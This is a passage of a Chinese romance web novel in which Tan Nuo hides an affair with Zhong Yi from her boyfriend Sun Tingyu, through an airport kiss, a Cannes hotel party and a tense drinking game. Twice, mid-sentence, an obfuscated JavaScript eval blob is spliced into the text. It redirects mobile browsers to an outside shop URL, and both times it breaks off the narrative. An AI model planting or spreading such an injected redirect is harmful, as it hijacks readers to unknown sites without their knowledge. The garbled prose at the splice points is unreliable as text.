谭诺手握着孙庭誉的手,急忙地反驳:“胡说八道,我只是觉得很多女生都不挑,看到长了五官的男的就觉得是帅哥,都是现在的男的太丑了。他……他就那样。” “哦,那我呢?” 谭诺名正言顺地“诋毁”钟屹,“他当然连你的头发丝都比不上。” …… 谭诺还是想不明白,她和钟屹是怎么走到这一步的。 “那最近怎么都没见你画?”谭诺问。 “因为不画也有钱花。” ……谭诺又觉得他讨厌了。 但是她必须要说点话,好让自己的注意力不要再放在他无限靠近自己的身体上。 “可是,为什么非要晚上画呢?你这样作息好奇怪。”谭诺真的不理解,她晚上只想躺在被窝里看剧。 钟屹睁开了眼睛。 他有那么一会儿没有说话,他又想起了才死去不久的徐岚——他的母亲。 其实,徐岚陪伴过他几年的。 钟屹那时年纪小,但是还是敏感地感觉到钟家的人对待她像空气。 有一天,他听到家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谭诺又不自觉地咬住自己的嘴唇,她看到钟屹一点一点地低下头,将脸正对着她。 她知道,钟屹要她面对这个现实,她是共犯,她不是被迫受到引诱的受害者。 钟屹闭上了眼睛,就这样旁若无人地等待那个吻。 周围形形色色的亚洲面孔,谭诺的惊慌感又快要涌到了喉咙。 她有那么一刻想破罐破摔地给自己找一个解脱,如果孙庭誉真的在,是不是让他发现比较好一点?会不会比她现在提心吊胆地担心他有一天知道,会好一点?他会原谅她吗?还是会恨她?钟屹又为什么要这样?她该不该吻他?是不是当作是一个告别的吻。等回到尼斯、回到国内,她再也不会跟他有什么纠葛了。 吻完,就两清了。 谭诺心砰砰地跳,最后闭上眼睛,慢慢靠近钟屹的嘴唇。 碰到了。 谭诺贴上他的嘴唇后,已经想退开,钟屹眼睛半阖,抬手紧紧箍住她的腰,舌尖趁虚而入。 蜻蜓点水的吻瞬间变成了深吻,谭诺感觉到整个人的心脏都要从口中跳出来。 不知道亲了多久,钟屹终于松开了她。 谭诺看着他泛红的嘴唇,她知道自己也是一样的,她没有好到哪里去。 钟屹静静地盯着她看,忽地发现一件事实:似乎,他一直在送人离开。 “再盯着我看,那就都别走了。”他面上的笑有些矛盾。 谭诺手抓着箱子的拉杆,退后了一步。 钟屹突然有点不太想面对谭诺奔向另一个人的背影。 他沉默了一会儿,突然说:“我走了。” 谭诺点了一下头,钟屹真的转过身。 她不知道,为什么那么宽的肩膀,还是会让她觉得落寞。 就好像他很需要她。 但是不行,都是假的。 时间到了,她该离开了。 chap23 谭诺在飞机上度过了相当漫长的一个小时。 下飞机后,她走到接机口前甚至调整了一下表情。 很快,她就看到了正站在那里等待她的孙庭誉。 她知道他不会迟到的,如果她的航班在十一点到达,孙庭誉会在十点半就开始等她。 这一次大约也同样。 谭诺跑了过来。 见到他的时候,谭诺隐约感觉到他哪里有所不同,但是那颗仍然有些紧绷的心让她说不出个所以然。 她有那么两秒甚至开始怀疑,会不会孙庭誉就在日内瓦的机场旁观了她和钟屹的亲吻,但是不可能的,如果他发现了,不会是这个样子。 “昨晚睡得晚吗?”孙庭誉接过谭诺的行李箱,搂住谭诺的肩膀,以一种环抱着她的姿势带着她往前走,“起来得困不困难?” 谭诺努力不去想她昨晚就那样在钟屹怀里睡着的事。 “睡得挺早的,你呢?今天不用去上班?” “嗯,我负责的工作差不多结束了,下面可以好好陪你。”剩下的就是别的部门的工作了。 不过,他很快又停下脚步,看着她。 “你怎么这么看我?”谭诺被他看得心里有些发毛。 孙庭誉笑着掐了一下她的脸。 “是不是早上有点冷,你怎么穿着外套?”这件外套还是出发前,孙庭誉找出来的。他就知道谭诺一定会需要。 谭诺这个时候才感觉到现在的温度是有些高,按照往常她绝对不会穿着外套的。 她迟疑了一下,钟屹没有在她的脖子上留下痕迹,她可以脱下来的。 “刚下飞机,我都没注意,”她笑了一下,“也可以脱掉的。” 孙庭誉却阻止了她,他又摸了一下她的额头。 “还有一点烫,感冒就多穿一点,”他又盯着她的嘴巴,“你是不是跟着许奈又吃辣了?” 谭诺察觉到他视线的落点,她下意识地摸了一下嘴巴。这里,是被钟屹亲肿的。 “就吃了一点,”她目光有些闪烁,她应该庆幸她披着头发,头发挡住了她的眼睛,“这你都能发现啊。” “我了解你啊,”孙庭誉好笑地注视着她,“宝宝,你总是这么叛逆,经期爱喝凉的,感冒了爱吃辣,这样不好。” 谭诺心里想,这样不好,她也知道的。但是该怎么办呢?已经发生了。 她低下头,这时候才注意到孙庭誉的皮鞋上还粘着一片花瓣,要多突兀有多突兀。 她停下了脚步,问道:“你脚上是什么?” 孙庭誉跟着谭诺的视线看过去,表情竟然有些错愕。 他连忙弯腰将那片花瓣捡起来,周围没有看到垃圾桶,他便放进了自己的口袋。 谭诺感觉很奇怪,但是还是没有问,现在最奇怪的人就是她自己。 但是很快,她甚至真的开始用许奈的话安慰自己。 她只是犯了天下男人都会犯的一点错,出轨的男人数都数不清,只要孙庭誉没有发现,她就还是那个爱他的女朋友。 但是她又想到了钟屹,想到了这几天他对她说的很多话,他竟然让她分手? 她想起了他离开时的背影,有那么一秒,谭诺想要追上去,但是她很快想到了孙庭誉,她想,她对着钟屹的冲动那一定是荷尔蒙在作祟。 怎么可能会有人在短短的几天时间内爱上另一个人,也没有一个出轨的人会为了只偷了一两次情的人放弃原本相爱的对象。 “你不问我为什么脚上有花瓣吗?”孙庭誉不想谭诺发现,但是她看见了却什么都没有问,绝对不是她的个性。 “你要送我花咯。”谭诺耸了耸肩,装作很轻松的样子,谭诺知道自己在变坏,和朋友看《爱情神话》的时候,她还会为男主角的前妻出轨之后说的话感到震惊,但是现在,她已经在做同样的事。 “总不会是偷偷给别的女人送花,所以沾上了吧。” 说这句话的时候,她依旧还是感到心虚。 孙庭誉问:“虽然我不可能给别的女人送花,但是如果我做了,你就这个反应?” “那我应该什么反应?” “当然应该掐死我,说要和我同归于尽才行。”孙庭誉笑着说。 “哈哈。”从前他们也开过这样的玩笑,那时候谭诺真的会去掐孙庭誉的脖子警告他,但是这是第一次,谭诺的笑容有些勉强。 放在往常,孙庭誉一定会发现谭诺的游离,但是现在,有一件事占据了他全部的注意力。 - 坐在回程的车上,谭诺心绪不宁,但是她还是撑着精神跟孙庭誉聊天。 不过她不敢太过放松,因为太放松了,就会说多错多。 过了一段时间,她还是觉得奇怪。 因为回去的时间远比几天前孙庭誉和钟屹来接她那一天的时间要长许多。 难道是因为她满腹心事,所以才这样? 她还没开口问,就听到孙庭誉说:“你来了几天,我还没有带你去戛纳玩,你不是一直很想去?我们今天过去好不好?” 谭诺闻言有些愣怔,她是知道戛纳临近尼斯,近得很,她之前也确实在电话里和孙庭誉说过想要去戛纳,因为电影节的时候可以看到很多明星,但是她没有想明白孙庭誉为什么这么突然要带她去。 “我们不回,”她原本想说钟屹的家,但是还是改了口,“不回你住的地方?” “嗯,回国那天再回。”他还有很多给谭诺准备的礼物在钟屹家,而且到时正好还要去尼斯机场坐飞机。 谭诺懵懵的,她一点准备也没有。但是她不能说些什么,因为对她来说,尼斯和戛纳该是一样的,她是来找孙庭誉的。 但是她胸口那种空落的感觉又是为什么。 “也行。” 今天她忘了跟钟屹说一句再见了,但是,他们的关系需要一句再见吗? 孙庭誉略显兴奋地跟她说:“你不是觉得尼斯的石滩硌脚吗?戛纳的海滩都是细沙。” 谭诺试着全情投入全新的开始,忘记那个本就不该在这个故事里存在的人,“那我也能看到明星吗?” “那得到戛纳电影节的时候才可以,”孙庭誉顿了顿,想说什么,但是也只是笑着说,“到那个时候就可以了。” - 谭诺被孙庭誉带着来到了出门就能看见海的度假酒店。 “这里很漂亮。”谭诺说。 “嗯,上次我们小组休假就是在这里,我一来就知道你会喜欢。” 谭诺喜欢带游泳池的酒店,虽然她不会游泳,她也喜欢带浴缸的房间,虽然她泡十分钟就会开始缺氧,但是,不妨碍她喜欢。 “你要不要去泡个澡?”孙庭誉问。 谭诺想了一下,也好,就泡个澡来放空一下大脑,她行李箱里带了好几个泡泡浴精油球。 但是她懒懒的,有点提不起劲,可能是这两天太累了。 “这两天是不是玩疯了?”孙庭誉手搭在谭诺的肩膀上。 谭诺没有去想那些真的很疯的画面,“嗯,第一天你知道的,一直和许奈各种转,第二天,和她逛街以后骑了大半天的车,特别累。” 孙庭誉感兴趣地问:“你们都拍了什么照片?我想看看。” 谭诺握着手机,她没有拍下任何跟钟屹有关的照片。 从前,她可能很主动地给孙庭誉分享她的照片,所以这次也不能例外。 她将手机递了出去,心跳又开始有些不稳。 “你自己看,”她理了理自己的头发,“不过第二天一直骑车,没有拍照片。” 孙庭誉随手翻了几张,都是谭诺和许奈在公园拍的照片,还有奶酪火锅。 谭诺很喜欢吃奶酪,回国之前一定要多带一点回去。 孙庭誉想把这个记在手机备忘录上,再一看到谭诺的手机,还是阿屹借给他的。 他昨天给谭诺买了新手机,但是放在了公司,忘记了拿。 孙庭誉手忽然滑到了一个视频,是谭诺穿着吊带站在天使湾时的视频。 这是别人帮她拍的视频。 孙庭誉原本也只是以为是谭诺请陌生人帮她拍的,谭诺是这样性格的人,在外面遇到了问题第一时间会寻找周围的人帮忙,在餐厅吃到好吃的,也会很主动地告诉邻桌正在点餐的陌生人,但是他想到这里不免有些自责,他本应该为她做这些事。 不过,镜头里的谭诺有点可爱,有些娇俏,虽然笑容看起来很不走心,还对着镜头翻了个白眼,孙庭誉没忍住笑了,他真想知道到底是谁帮谭诺拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9683039|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视频,会让她这样对待。 下一秒,他听到了视频里的男声。 “嘴撅完了?那我们回去。” 孙庭誉下意识地皱了一下眉,人的声音透过手机的听筒再传递到耳朵里,总会有那么一些变化。 孙庭誉花了几秒的时间,才听得出来是钟屹的声音。 这个声音同样落进了谭诺的心里,她手差点要攥紧,但是很快又松了开来。 这是那天中午的视频,什么都没有,什么都没发生,她没必要紧张的。 “阿屹那天帮你拍的?”孙庭誉问。 他以为钟屹那一天看到谭诺以后就离开了。他们两个人都没有和他提起过。 但是让他感觉不那么对劲的地方不只是这里,是钟屹的语气。 这是孙庭誉第一次知道在他不在时,钟屹对着谭诺说话的语气是这样的。 有一点……宠着她的感觉。 谭诺作出平常的小女生的姿态,“没有认识的人,让他帮我拍张照片,结果拍照技术好垃圾,还好不耐烦。” 孙庭誉盯着谭诺看,是他近乡情怯,想太多了吗? “嗯,他本来就不是有耐心的人。”孙庭誉说。 “而且,他还说我丑,说是因为我长成这样才拍成这样的。”谭诺嘴巴噼里啪啦说得好快,这是真的,钟屹当时真的这样说,她没有说谎。 孙庭誉想,是他想太多了,不可能的,只是谭诺天生有那种让别人对她好对她照顾的能力。可能钟屹确实不讨厌她,只是觉得她太娇气了,仅此而已。 但是孙庭誉现在再看着手里的手机,不免有些刺眼。 这还是阿屹的手机,尽管是自己胡思乱想,也不该让他的女朋友用别的男人的手机。 “我有样东西忘了拿,还得回公司一趟,”他说,“不过很快,一两个小时就回来。” 谭诺说好,“那我去泡个澡。” 孙庭誉低头吻她,“晚一点有很多朋友来,你不是一直很想认识我在这里的朋友?到时候一起玩,会很热闹。” 谭诺最喜欢热闹,也最喜欢交朋友,孙庭誉知道她会开心的。 “他们会说中文吗?” “有的会,有我在,没关系。” 孙庭誉走到门口,忽然停下了脚步。 “对了,”他说。 谭诺抱着浴袍也回看过去,“嗯?” 孙庭誉盯着她,笑容有些不那么自然:“你说,今晚我叫了一些朋友过来,要不要叫上阿屹?” 谭诺的舌头下意识地抵住了上颚,她感觉到心跳又开始加速。 “我说不让他来,你会同意吗?”她不高兴地问,“我让你们绝交,你听不听我的?” 孙庭誉闻言,那颗就像被抛掷在狭窄晃动的吊桥上的心终于变得平稳。 他真疯狂,竟然因为这样一点小事就联想到那里去,谭诺在国内的时候还好,但是在国外,却不在他的眼前,他真的无法放心。 是他想得太多,是他太患得患失了。 - 孙庭誉出门找车的时候,甚至找反了方向。 他越发想嘲笑自己,就这么紧张吗? 他从公司拿到了手机以后,又给晚上来聚会的人发了消息。 准备回酒店时,他才想起忘了把上次才开封的香水带上,便又回了一趟钟屹的房子。 钟屹还没有回来,孙庭誉给他打了个电话,没有人接,不过这也正常。 等到他提着要带给谭诺的东西离开时,才听到后门那里传来了动静。 孙庭誉隔着一个长廊,看到钟屹回来了。 他一开始还有些没敢认,因为钟屹身上那件米色的外套,孙庭誉从来没见到钟屹穿这样颜色的外套。 “对了,今天下午跟我去戛纳玩?”孙庭誉放下东西,往客厅走。 偌大的客厅,是他的回声。 钟屹低头换鞋,没有说话,换好以后才这样走过来。 “都有谁?”钟屹随口问。 孙庭誉试着抛掉不久前那些荒谬的想法,刚想打趣钟屹身上这件完全不符合他风格的外套,“你这衣服——” 孙庭誉话说了一半,忽然停住,因为他看到了钟屹脖颈上的痕迹。 那是咬痕。 chap24 是咬痕,很深很深的痕迹。 虽然钟屹已经将衣服外套的拉链拉到了最上方,但是孙庭誉还是能看到衣领上方喉结处的咬痕。 孙庭誉感觉到自己的太阳穴猛跳了一下,跳完又觉得自己荒谬。 这个痕迹起码有一两天了,但是前天晚上他和谭诺在一起。 他忽然觉得自己过于神经质,和谭诺有关的事总能让他变得神经,他怎么可以这样想她? 但是他的目光仍盯在那个咬痕上,控制不住地去想谭诺嘴巴的大小。 人的嘴巴不都差不多,他真的有病。 孙庭誉心里又开始像有虫子在爬,但是谭诺从来不会咬喉结,因为她有一次在网上刷到那里有动脉,咬出血可能会出事。 谭诺很早就不会咬成这样了。 孙庭誉知道,等今晚过去自己就会好,这些莫名其妙的念头就会消失。 他挤出一个笑: “你们会不会太激情了?” 孙庭誉知道但凡是个正常人,都不应该多想,谭诺这两天在安纳西,而钟屹在日内瓦看他妈妈。 “不会是照顾你妈妈的护工?”明知道不该怀疑,但是孙庭誉还在问。 孙庭誉觉得钟屹和她联系得最多,但是他不知道护工已经近五十岁。 “你关心得太过了。” 钟屹声音淡淡的,他没想过他拉链拉成这样,孙庭誉都看得到,谭诺不想让他发现。 “亏我还担心你是孤家寡人,你到底当没当我是朋友?” 孙庭誉觉得自己猜对了,他会反应那么大也是因为从来不知道钟屹也有女人。 “你说呢?” “对了,一会儿要不要一起去戛纳。今晚对我很重要。” “明天不是才是你的生日?”钟屹问。 “嗯,但是今天是我和诺诺认识的九周年纪念日。” 钟屹看起来没什么反应,表情和眼神带着孙庭誉熟悉的不屑一顾。 “九周年也要纪念么?你们这么闲。” 这样的反应更符合孙庭誉对钟屹的认知,钟屹看起来并没有什么不对劲,就像从前一样。 “对,因为我爱她,”孙庭誉说,“诺诺也爱我。” 钟屹勾了勾唇,“我要吐了,不去。” 孙庭誉知道是自己太疑神疑鬼,谭诺跟钟屹连面都没有见过几次,怎么可能会有什么。 “一起来吧,”他拍了一下钟屹的肩膀,“还有很多我的同事朋友,你应该多认识认识一些人。” 最后,钟屹还是答应了。 - 钟屹原本要开自己的车跟着孙庭誉过去,孙庭誉看了一眼他的眼睛,里面满满的红血丝。 “你这两天看你妈是不是又没有睡好,别到时候开车走个神再出什么事故,坐我的吧。” 钟屹没有拒绝,到车上以后很安静地补觉。 孙庭誉平常还是很习惯这样的安静,钟屹从小到大话本就不多。 但是这一次,他不太适应,太过安静的环境让他有些焦虑。 孙庭誉想到了什么,便问:“对了,你妈妈怎么样?” 钟屹眼皮抬了一下,语气有些随意:“死了。” 孙庭誉因为钟屹的回答差点要踩刹车。 “什么时候的事?” “前天凌晨。” 孙庭誉忽然想起那一天,他还有打电话给钟屹,让他帮忙给谭诺买手表。 孙庭誉再一联想到自己荒唐的臆想,还好没有把自己的猜忌说出口。 “你还好吗?”孙庭誉问。 钟屹点了点头,他想起今天送完谭诺以后,又去看了一眼徐岚。 死亡医学证明开得很快,钟屹原本以为起码要等个一周。 在教堂举行的葬礼他没有参加,等到徐岚被放进墓地,钟屹去看了一眼。 这里没有多少人会纪念她的死亡,只有他一个。 钟屹又带了一束花。 他看起来难得有些抱歉。 “送谭诺坐飞机,所以来晚了点,但是你应该不会在意吧。”钟屹想到她已经死了,死人是没有感觉的。而且她也没什么资格在意。 徐岚活着的时候,曾经问过他几个问题,但是钟屹从来没有回答过,因为那个时候,他还残存着一点良知和廉耻,也可能并没有。 “记不记得,那次你让我陪你去超市,我买了很多巧克力,”徐岚知道钟屹从小就不爱吃巧克力,所以一看就知道他是买给别人的,但是当时她问了,他却没有说是买给谁的。 “是买给她的。” 说到这里,他笑了一下:“我怎么会喜欢吃那种东西?真的很难吃。” 钟屹有些搞不懂谭诺的口味,“她本来就奇奇怪怪的,可惜你没见过她。” “还有其它那些东西,都是买给她的。” 虽然,是孙庭誉让他帮忙,钟屹偏着头,有些不讲道理地想:他没有收孙庭誉的钱,那就是他买的。 “我没有错吧?”问完,他不太在乎地说,他也不需要任何人的答案,“错了又能怎么样?” 反正没有人教过他。 钟屹在无人的墓碑前站了一会儿,感觉到前所未有的平静。“想得起来的话,明年再来看你。”他说,“想不起来,就算了。” - 孙庭誉在得知钟屹母亲去世的事以后,也没有再怎么开口,人已经去世,这时候再说些安慰的话也很苍白,特别是,钟屹看起来并不需要什么人的安慰。 孙庭誉甚至觉得他跟他妈妈没有什么感情,也是,小时候陪伴的记忆早已消失,成年以后再见面,彼此之间早已生疏,只剩下血缘带来的那点情分和尴尬。 钟屹本就是情感淡泊的那类人。 蓝牙电话在这时响起。 孙庭誉看了一眼,是谭诺打来的。 钟屹因为来电铃音也睁开了眼,他看到是自己备用机的号码。 是谭诺。 他没什么反应,又闭上了眼睛。 只是,眼睛可以闭上,耳朵却不行。 孙庭誉接通:“宝宝,怎么了?” 孙庭誉觉得自己没有在钟屹面前秀恩爱的意思,特别是在得知钟屹刚刚发生这样的事之后,他不该有,但是,他没有关掉扩音的功能。 谭诺的声音就环绕式地传递进整个车厢。 “好像你的朋友已经来了啊,你还没回来吗?” 孙庭誉笑笑,“他们动作这么快?别紧张,我马上就到,五分钟。看到男同事也不要尴尬,你跟我视频的时候见过他们的,而且你可以和他们的女朋友聊天,她们肯定会喜欢你的。” 谭诺虽然不尴尬,但还是在那头嘟哝了一句,“我又不是人民币,人家为什么一定喜欢我?哦不对,我又不是欧元。” 孙庭誉轻笑了一声,“老公马上就到,两分钟。” “好吧。” 电话挂断以后,车厢内再度恢复了安静。 孙庭誉有一阵没说话,过了一会儿,他忽然说:“我老婆是不是很可爱?” 钟屹倏地睁开了眼睛,他又有点想去摸一摸谭诺在他脖颈处留下的痕迹了,那是他们最紧密时他让她留下的。 有一点痒,不知道是不是结了痂,但是他没有动,他最后也只是垂下眼帘,将眼里的那点阴郁的黑敛去。 “没觉得。” 她不是你的老婆。 - 谭诺听孙庭誉说,今晚这家度假酒店已经被包了下来,所以来的人只会是他的朋友。 在得知孙庭誉包下整间酒店的时候,谭诺很惊诧,这得花多少钱? 谭诺平常确实是一个社交小能手,但这绝对不包括和语言不那么通的外国人。 陆陆续续来了五六个法国人,谭诺看到他们手上都带了一点做客的小礼物,持续不断地笑着跟他们说Bonjour。 就在谭诺被他们热情地邀请尝一下带来的舒芙蕾的时候,孙庭誉回来了。 谭诺刚吃了一勺,还没来得及感叹好好吃,就看到了孙庭誉身后的钟屹。 他也来了。 她其实已经做好心理准备了,在孙庭誉走前问她那句话的时候,谭诺有些微妙地察觉到孙庭誉是在试探她,但是她不确定。 她不知道自己是不是在做贼心虚。 她第一次做这样的事。 现在钟屹来了,而孙庭誉的表情看起来如常。 钟屹没有看她,谭诺知道自己也不能再把目光落在钟屹的身上了。 “好吃吗?”孙庭誉走过来用手抹掉了她嘴角的一点奶油,姿态亲密地跟大家介绍谭诺。 孙庭誉的同事早就认识谭诺,因为孙庭誉只要有时间就在和谭诺打视频电话,谭诺甚至对有几个人也都有些眼熟。 “他们说话,你能听懂吗?”孙庭誉笑着问谭诺,因为公司的高层几乎都是中国人,而且公司还有福利,免费找了老师教大家中文,虽然学下来的没几个。 谭诺刚刚就听他们用蹩脚的中文跟英语和她对话,但是加上了“手语”以后,理解起来也并没有那么困难。 “他们跟我讲英语,能听懂一点啦。”谭诺笑得有些尴尬,毕竟这样的场面,还有在场的人。 “法国人不爱讲英语的,所以他们对你真的很热情了。”孙庭誉摸了摸她的头。 只有身后不远处的钟屹一直没有说话。 在孙庭誉向大家介绍钟屹的时候,谭诺安静地没有出声,吃自己面前的舒芙蕾。 - 因为远还没有到吃晚餐的时刻,孙庭誉从钟屹的房子里拿了两套麻将过来,这时也招呼大家来玩麻将。 不过因为有一个同事开车带着女朋友过来,找不到停车的地方,所以孙庭誉得出去找找他们。 他原本想带着谭诺一起出去,看她津津有味地吃着舒芙蕾,也就没有叫上她,便让钟屹帮他们把麻将拿出来。 他对谭诺说:“我马上回来。” “嗯呢。” 谭诺吃了几口,觉得有些腻,其实往常她轻轻松松就可以吃完一个,但是这两天可能是消化不太好。 她抬眼看到钟屹站在她斜对面,正将麻将倒到桌上。 周围又有人给她拿了一块蝴蝶酥,谭诺吃掉一块后,又往他看过去,这个时候,正撞上了钟屹看过来的目光。 有人让他将孙庭誉的女朋友叫过来一起玩麻将。 所以他才过来了,名正言顺地向她走了过来。 他走近她,穿着今天早上分开前的那套衣服,是谭诺用他的钱买给他的外套。 钟屹站在她面前,过了大约十秒,他忽然用只有两个人的声音说:“我今天有点想你。” 他就用那种再寻常不过的表情注视着她。 没有人在关注他们。 谭诺看到他脖子上的那一点痕迹,心脏砰砰地跳,她觉得自己回国该去医院体检一下心脏了。 为什么要想她?今天明明刚见过面,她有什么好想的。 而且,她现在在孙庭誉身边,他怎么可以再对她说这样的话。 他想要她干什么?为了他分手吗? 他到底想让她怎么样?说一句她也想他吗? 看到有人回头看他们,谭诺不敢再看他。 走到一边看他们打麻将。 - 到了晚上,谭诺才发现孙庭誉真的准备了很多食物,再加上他的每一个同事都带了一些吃的来,所以摆在海边的食物简直夸张到看不到边。 “你什么时候准备的?”谭诺问孙庭誉。 “你不在的时候。”他提前联系了酒店。 谭诺开始问她自己,在孙庭誉不在的时候,她做了些什么。 “为什么要准备那么多呢?”谭诺想,难道就是为了补偿这几天他没能好好陪着她? 孙庭誉眼睛眨了一下,有些失望地问:“你忘了今天是什么日子吗?” “你的生日?”谭诺摇头,“是明天,我记得的。” 说完,她又开始怀疑自己,是不是这几天已经将日子过晕了。 明明,她就是为了给孙庭誉庆祝25岁生日,才会来到这里的,但是现在呢…… 孙庭誉摇了一下头,“是我们相识九周年纪念日啊。” 谭诺怔怔地点了一下头,原来这么久了。 她和孙庭誉认识这么久了。 谭诺坐在他的身边,看到孙庭誉对着一桌的人举起了酒杯,用法语在对他们说话。 她听不懂,但也知道他在说什么,一定是在说,谢谢你们来庆祝他们相识九周年的纪念日。 谭诺也跟着举起了杯子,笑着喝了一口。 刚入口甜甜的,就像在喝甜蜜无害的饮料,等到咽下去,还是能感觉到烈性。 可能是因为刚刚吃了一些甜腻的零食,喝了一口酒以后,谭诺竟然有一点不舒服的感觉。 她的神经也一跳一跳的。 在场的人中只有她不会法语,但是为了能让她听懂,大家几乎都在讲英语,所以讲话的人和听话的人都需要时间来理解。 坐在谭诺左侧的女生递过来一个东西给谭诺吃,谭诺刚准备咬,才听到孙庭誉说这是培根卷哈密瓜。 这两样东西谭诺都不讨厌,但是她有点咬不下去了。 谭诺不挑食,她也很喜欢在吃甜吃到腻的时候再去吃点咸口的来中和一下,但是她真的接受不了甜咸口的东西放在一起吃。 但是她实在不忍心拒绝别人,特别是她能感觉到钟屹的目光就落在她的身上。 她已经感觉到培根的味道,刚想硬着头皮咬一口,手里的叉子就被孙庭誉抽走了。 孙庭誉神情如常地将它吃掉,跟他同事的女朋友Claire解释:“她从来没有这样吃过,可能还不适应。” Claire并不介意,只是很遗憾地对谭诺说:“那你鹅肝南瓜汤也不尝尝吗?” 谭诺努力地开了一个玩笑:“什么?鹅肝那么贵,当然要尝。” 孙庭誉笑着摸了摸她的头,大家也跟着笑,只有钟屹收回了他的目光。 - 孙庭誉这一晚看了很多次手机,现在大家差不多已经吃饱,孙庭誉又看了一眼手机上的时间,才到九点。 法国人热情,一直在问谭诺在国内跟朋友聚会的时候都玩什么游戏。 谭诺用中文表达还好,但是她一时半会儿还真想不起来真心话大冒险和国王游戏用英语怎么说,而且这些游戏有点老土,跟太熟悉的朋友玩没意思,因为他们身上早就不剩下什么你还感兴趣的秘密,而跟不熟悉的人,你也没办法真的放开玩。 但是他们的好奇心实在太重,所以谭诺只好在网站上找到游戏的介绍挨个让孙庭誉介绍玩法。 谭诺以为他们不会感兴趣的,没想到他们听了以后什么都想试一试,捧场得很。 但是她心里有鬼,这样的游戏她一个也不敢玩。 她害怕自己露馅,特别是刚刚喝了几杯酒以后,她感觉脉搏跳得好快。 孙庭誉开始给他们介绍【我有你没有】的游戏规则:每个人轮流说一件别人没有做过,只有自己做过的事,没做过的人罚喝一杯酒,一旦在场有任何一个人做过,那么说话的人就要喝酒。 “就玩这个吧,我们从来都没有玩过!” 谭诺的眼睛一直在看着左边,除非右边有人说话,不然她绝对不会看过去。 跟钟屹还有孙庭誉在同一个地方呆着真的让她精神高度紧绷。 游戏已经开始,用转酒瓶的方法来决定一个人。 酒瓶不幸地指向了谭诺的方向,她得第一个发言。 谭诺觉 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他凑到她耳边亲昵地说:“今晚不可以喝醉啊。” 谭诺因为他耳边呼出来的热气吓了一跳。 孙庭誉被她这容易受惊的样子逗笑,这时才发现钟屹还没有说话。 他再看到谭诺低头不看钟屹的样子,胸口又开始奇异地冒出一点胡乱的想法。 “是不是他不说话,你觉得他很无趣?嗯?”孙庭誉想,可能谭诺只是在给他面子,不想在他朋友的面前让钟屹难看,不然按照她的个性,应该奚落钟屹才对。 谭诺不安地点了一下头,她直觉钟屹不会说出什么过分的东西,但是她为什么相信他呢?他说过他是坏人的。 - 钟屹越发觉得自己来错了,他来到这里,只是像往常一样见证孙庭誉和谭诺的爱情。 从前还可以忍受的,但是现在,为什么会觉得痛苦? 他根本不适合这样社会性的游戏,他绞尽了脑汁,想不到自己拥有什么别人没有的东西。 孙庭誉忽然救场,他也想让钟屹这一part赶紧过去。 “阿屹,你可以说说你的账户上有多少钱。” 钟屹笑了一下,大家的注意力也跟着转移到了钟屹的存款上。 就这样玩了几轮以后,孙庭誉已经想不到什么新鲜的东西了。 他一直告诉自己,不能喝醉,今晚还有很重要的事要做。 所以他喝完一点酒以后,就会再喝点冰水,试图让自己清醒一点。 时间已经接近十点半,他也没想到他们竟然玩这么个游戏玩了一个多小时。 孙庭誉用叉子敲了一下桌子,“再来最后一轮。” 大家因为吃得太多,都已经站了起来,没人再坐着。 越临近那个点,孙庭誉越感觉到神经有一丝兴奋,说不上来的兴奋。 轮到他以后,他想了大约十秒钟,终于想到了。 “我想到了,”他将头靠了一下谭诺的头,“只有我亲过她,你们没有。” Claire立马晃谭诺的手,让她证明自己也有,她一进来就跟谭诺做了贴面礼。 孙庭誉有些炫耀地摇头,“你们那种碰脸不算。” 他说着话,转身捧住谭诺的脸,在她的唇上亲了一下。 “要像这样,”他笑着说,“这样的,只有我。” 只是等他看向谭诺,才发现谭诺的脸有些发白,嘴唇也是。 他突然觉得他刚刚吻上去的时候,谭诺的嘴唇有些凉,这凉意也传进了他的心里。 “怎么了?是不是喝得有点多,不舒服?”孙庭誉感觉到自己的胸口在发闷。 谭诺这时才回过神,她勉强地挤出一个笑容,很快地摇头:“没事没事,就是喝多了,有点累。我们要不要回去休息?” 周围的人不甘心地举起酒杯,孙庭誉还在盯着谭诺的表情看,不知道为什么,他感觉到不久前喝的酒就要涌到他的喉咙。 他几乎是下意识地转头看向钟屹,就看到钟屹的眼神里也是一片漆黑。 钟屹在看着谭诺。 从孙庭誉捧着谭诺的脸吻下来的时候,他就在注视着他们,也可能更早。从孙庭誉说出那句话的时候,他就在看了。 孙庭誉头歪了一下,他手扶着面前的矮桌,因为转身的关系,有些站不稳地往后退了一步。 “阿屹?”孙庭誉盯着钟屹看,他抑制住那种因为酒意想要吐的感觉,问,“你不喝吗?” 他的眼睛像螺丝钉一样一动不动地钉在了钟屹的脸上,周围也有人喝多了,还在笑着分享自己还做过哪些离谱的事。 但是孙庭誉统统没有再听,今天一天出现的所有令他感到别扭的瞬间再次浮现。 钟屹没有再看谭诺,他沉默地在孙庭誉的目光下举起了酒杯。 “我刚刚走了一点神。”他喝完以后,将一饮而尽的酒杯倒置给孙庭誉看,“好了。” 谭诺有一种皮筋被人为扯得很远,最后重重弹向自己太阳穴的感觉。 她刚刚为什么要迟疑,为什么要紧张?一个游戏而已。 她强装镇定地拉了一下孙庭誉的胳膊,“庭誉,轮到我了,你帮我想想还有什么可说的?” 她的嘴巴在打颤。 孙庭誉却没有看她,还在执着地盯着钟屹:“说啊,你有吗?” 我亲过她,你也有吗? 钟屹目光沉沉地看着他,没有等他开口,谭诺又拉了一下孙庭誉的胳膊。 孙庭誉只感觉到胸腔所有蓄势待发的情绪就要在这一刻崩溃,他拨开谭诺的手。 